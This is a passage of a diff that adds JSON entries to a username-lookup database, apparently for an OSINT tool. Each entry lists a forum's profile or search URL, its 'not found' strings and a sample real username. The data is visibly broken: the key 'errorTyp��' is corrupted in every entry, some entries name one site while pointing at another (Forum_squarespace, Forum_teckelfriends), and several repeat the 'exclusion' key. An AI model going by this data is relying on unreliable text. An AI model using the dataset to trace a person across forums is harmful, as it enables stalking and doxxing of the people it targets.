"url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "домен, регистратор, доменные имена", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + "Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_t-shirt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.t-shirtforums.com/members/?username={}", + "urlMain": "https://www.t-shirtforums.com", + "usernameON": "tom703", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": 